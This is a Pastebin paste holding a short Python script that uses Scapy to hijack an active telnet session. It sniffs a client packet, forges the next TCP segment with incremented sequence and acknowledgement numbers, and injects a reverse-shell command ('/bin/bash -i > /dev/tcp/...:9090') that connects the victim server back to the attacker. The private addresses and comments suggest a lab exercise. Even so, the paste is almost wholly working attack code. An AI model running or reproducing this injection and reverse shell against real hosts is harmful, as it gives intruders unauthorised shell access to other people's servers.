Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2019
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.06 KB | None | 0 0
  1. from scapy.all import *
  2.  
  3. #Telnet session has to be already active. Listens for a telnet packet
  4. #sent from the client to the server. Will take the seq and acks numbers
  5. #of that packet and increment both by one. (Since a keypress will send one byte of data, the next packet should have seq+1)
  6.  
  7. #This script is very basic and will not work if the spoofed client
  8. #command contains more than one byte of data.
  9.  
  10. #So, login in to telnet from client. Run script on attacker, then press a key on client.
  11.  
  12. my_iface="enp0s3"
  13. my_ip="10.0.2.15"
  14. victim_ip="10.0.2.4"
  15. tcp_data = "\r/bin/bash -i > /dev/tcp/" + my_ip + "/9090 0<&1 2>&1\r"
  16.  
  17. t = sniff(iface=my_iface, count=1,
  18. lfilter=lambda x: x.haslayer(TCP)
  19. and x[IP].src == victim_ip)
  20.  
  21. t = t[0]
  22. tcpdata = {
  23. 'src' : t[IP].src,
  24. 'dst' : t[IP].dst,
  25. 'sport' : t[TCP].sport,
  26. 'dport' : t[TCP].dport,
  27. 'seq' : t[TCP].seq,
  28. 'ack' : t[TCP].ack
  29. }
  30.  
  31. p = IP(src=tcpdata['src'], dst=tcpdata['dst']) / \
  32. TCP(sport=tcpdata['sport'], dport=tcpdata['dport'],
  33. flags="A", seq=tcpdata['seq']+1, ack=tcpdata['ack']+1) / tcp_data
  34.  
  35. send(p, verbose=1, iface=my_iface)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement